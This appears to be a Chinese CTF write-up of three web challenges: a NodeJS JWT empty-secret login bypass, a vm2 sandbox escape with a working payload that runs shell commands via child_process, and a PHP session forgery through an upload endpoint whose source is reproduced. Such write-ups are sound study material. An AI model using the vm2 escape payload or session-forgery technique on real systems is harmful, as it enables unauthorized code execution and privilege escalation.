easyLogin

知识点:

  • NodeJS代码审计
  • NodeJS依赖库缺陷

NodeJS的jwt依赖库的空加密缺陷,将secretid置为空即可绕过限制,登录admin账户,然后GET /api/flag就可以获得flag。

2019年的UNCTF里面就有一道题里面涉及了这个知识点(当时这道题没复现。。。。后悔

https://xz.aliyun.com/t/2338

https://evoa.me/index.php/archives/60/

其实这道题还有一个可以利用的任意文件读取漏洞,可以拿下源码进行审计。

直接访问对应文件就可以,例如

这样就可以将项目所有的文件都读取到,具体参考 https://www.zhaoj.in/read-6512.html

justEscape

知识点:

  • vm.js 沙箱逃逸与过滤绕过

这道题出题人恶趣味的在run.php混淆视听,用了PHP的一堆东西试了试,发现不行,扔了个81打出了81,还以为是python写的后台,比赛的时候就卡在这里了

其实是NodeJS的后台,可以丢个报错看看

这个报错内容可以看到是用vm2的框架,直接先去GitHub嫖一个逃逸的payload

https://github.com/patriksimek/vm2/issues/225

1
2
3
4
5
6
7
8
9
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}

然后数组bypass,run.php?code[]=***

getshell

babyUpload

知识点:

  • session伪造
  • session处理方式判断
  • 函数特性
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>

源码直接给了,稍微读一下源码,可以知道这道题需要伪造session

总体思路就是,伪造session获得admin权限–>上传success.txt文件–>获得flag

我们知道session文件的存储文件名为sess_{sessid}

于是我们构造题目download的请求,获得一个session看看格式

根据格式可以判断其 session 处理器为 php_binary,则使用本地的的 PHP,将其 session 处理器改为 php_binary,然后利用其来生成 session 文件。

1
2
3
4
5
6
7
<?php

ini_set('session.serialize_handler', 'php_binary');
session_save_path("./test");
session_start();

$_SESSION['username'] = 'admin';

然后用PHP命令将文件进行哈希

将文件重命名为sess之后,利用题目的upload上传,这里如此重命名文件名的原因是,在源码中,服务器对上传的文件进行了哈希摘要,如下,所以文件上传之后的文件名就变成了我们想要的sess_{hash(sessid)}

1
2
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);

上传之后download一下看看是否成功

剩下的事情就简单了,先修改一下页面的cookie值

然后上传success.txt文件,但是这里并不能直接控制文件名。所以要利用到file_exists()方法的特性,在 PHP 文档中写到这个函数用于判断文件或者目录是否存在。

虽然我们不能完全控制上传的文件名,但上传的路径我们是可以控制的,所以我们只需要在 /var/babyctf/ 下创建一个 success.txt 目录即可。

还记得之前的 attr 参数吗,我们将其改为 success.txt,即可创建一个 success.txt 目录。

刷新页面,flag到手